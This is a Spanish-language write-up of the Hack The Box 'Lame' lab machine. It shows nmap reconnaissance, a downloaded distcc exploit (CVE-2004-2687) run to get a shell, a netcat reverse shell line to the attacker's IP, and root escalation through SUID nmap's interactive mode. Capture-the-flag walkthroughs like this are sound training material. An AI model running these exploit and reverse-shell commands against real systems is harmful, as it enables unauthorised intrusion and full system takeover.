Post

Hack The Box Lame

Máquina Lame

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.3.

1
2
3
4
5
6
7
8
❯ ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=143 ms

--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.293/143.293/143.293/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 12:01 CDT
Initiating SYN Stealth Scan at 12:01
Scanning 10.10.10.3 [65535 ports]
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 12:02, 26.51s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.14s latency).
Scanned at 2021-08-26 12:01:53 CDT for 27s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
22/tcp   open  ssh          syn-ack ttl 63
139/tcp  open  netbios-ssn  syn-ack ttl 63
445/tcp  open  microsoft-ds syn-ack ttl 63
3632/tcp open  distccd      syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.69 seconds
           Raw packets sent: 131083 (5.768MB) | Rcvd: 23 (1.012KB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.3
   5   │     [*] Open ports: 21,22,139,445,3632
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ nmap -sC -sV -p21,22,139,445,3632 10.10.10.3 -oN target
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 12:03 CDT
Nmap scan report for 10.10.10.3
Host is up (0.14s latency).
                                
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4   
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:            
|   STAT:                     
| FTP server status:                                             
|      Connected to 10.10.14.5                                   
|      Logged in as ftp                                          
|      TYPE: ASCII
|      No session bandwidth limit                                                                                                  
|      Session timeout in seconds is 300                    
|      Control connection is plain text
|      Data connections will be plain text                  
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h05m00s, deviation: 2h49m46s, median: 4m57s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-08-26T13:08:23-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.94 seconds

A partir de los resultados obtenidos de nmap, observamos que se encuentra abierto el puerto 21 asociado al servicio FTP; por lo que trataremos de establece una conexión con el usuario anonymous:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kamiyo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> 

Ingresamos como el usuario anonymous, sin embargo, no se despliega información; por lo que analizaremos la información obtenida de nmap. Vemos que el servicio FTP está corriendo vsftpd 2.3.4; por lo que mediante searchsploit buscamos posibles exploits.

1
2
3
4
5
6
7
❯ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                   |  Path
------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                           | unix/remote/17491.rb
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Obtenemos un resultado asociado a Backdoor Command Execution (Metasploit), por lo que es posble la existencia de un exploit público. Sin embargo, debido a protecciones en la máquina no es posible acceder al sistema.

Observamos el puerto 3632/TCP abierto el cual está asociado al servicio distccd v1; por lo que primero validaremos la existencia de algún exploit público:

1
2
3
4
5
6
7
❯ searchsploit distcc
------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                   |  Path
------------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit)                                                   | multiple/remote/9915.rb
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Vemos que existe un módulo de metasploit, por lo que ahora trataremos de buscar algun recurso en público:

CVE-2004-2687.py

Nos descargamos el archivo a nuestra máquina, lo analizamos para ver si es necesario cambiar datos (para este caso no aplica) y procedemos a ejecutar programa.

1
2
3
4
5
6
7
8
9
10
11
❯ wget https://raw.githubusercontent.com/k4miyo/CVE-2004-2687/k4miyo/CVE-2004-2687.py
--2021-08-27 20:49:39--  https://raw.githubusercontent.com/k4miyo/CVE-2004-2687/k4miyo/CVE-2004-2687.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4052 (4.0K) [text/plain]
Grabando a: «CVE-2004-2687.py»

CVE-2004-2687.py                 100%[=========================================================>]   3.96K  --.-KB/s    en 0s      

2021-08-27 20:49:40 (18.7 MB/s) - «CVE-2004-2687.py» guardado [4052/4052]

Al ejecutar el programa de python, nos solicita que ingresemos valores :

1
2
3
4
5
6
7
8
9
10
11
❯ python CVE-2004-2687.py -h
usage: CVE-2004-2687.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT]

DistCC Daemon Command Execution

optional arguments:
  -h, --help     show this help message and exit
  --rhost RHOST  Remote host ip (Victim)
  --rport RPORT  Remote port (default: 3632)
  --lhost LHOST  Local host ip (Attacker)
  --lport LPORT  Local port (default: 443)

Ejecutamos el exploit con los parámetros indicados y obtenemos una sesión interactiva dentro de la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
❯ python CVE-2004-2687.py --rhost 10.10.10.3 --lhost 10.10.14.15
[+] Payload: Payload generated!
[+] Execution: DistCC Daemon exploited with success!
[+] Opening connection to 10.10.10.3 on port 3632: Done
[+] Trying to bind to :: on port 443: Done
[+] Waiting for connections on :::443: Got connection from ::ffff:10.10.10.3 on port 55087
[+] Connection: Established connection
[*] Switching to interactive mode
$ whoami
daemon
$  

Ahora establecemos una conexión a nuestra máquina para tener una shell y hacemos Tratamiento de la tty para trabajar mas comodos. Nos ponemos en escucha por el puerto 4443:

1
$ nohup nc -e /bin/bash 10.10.14.15 4443 &

Ahora enumeramos el sistema para determinar como podemos elevar privilegios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
daemon@lame:/home/makis$ whoami
daemon
daemon@lame:/home/makis$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@lame:/home/makis$ sudo -l
[sudo] password for daemon: 
sudo: pam_authenticate: Conversation error
daemon@lame:/home/makis$ cd /
daemon@lame:/$ find \-perm -4000 2>/dev/null
./bin/umount
./bin/fusermount
./bin/su
./bin/mount
./bin/ping
./bin/ping6
./sbin/mount.nfs
./lib/dhcp3-client/call-dhclient-script
./usr/bin/sudoedit
./usr/bin/X
./usr/bin/netkit-rsh
./usr/bin/gpasswd
./usr/bin/traceroute6.iputils
./usr/bin/sudo
./usr/bin/netkit-rlogin
./usr/bin/arping
./usr/bin/at
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/nmap
./usr/bin/chsh
./usr/bin/netkit-rcp
./usr/bin/passwd
./usr/bin/mtr
./usr/sbin/uuidd
./usr/sbin/pppd
./usr/lib/telnetlogin
./usr/lib/apache2/suexec
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/pt_chown
./usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
./usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
daemon@lame:/$

Vemos que tenemos permisos SUID para nmap, así que primero vemos que versión de la herramienta cuenta el sistema.

1
2
3
4
5
6
7
8
daemon@lame:/$ nmap -v

Starting Nmap 4.53 ( http://insecure.org ) at 2021-08-27 23:19 EDT
Read data files from: /usr/share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.011 seconds
           Raw packets sent: 0 (0B) | Rcvd: 0 (0B)
daemon@lame:/$

Debido a la versión, podemos iniciar una sesión interactiva y de ahí obtener una shell como el usuario administrador

Gtfobins

1
2
3
4
5
6
7
8
daemon@lame:/$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#

Ya somos root del equipo y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.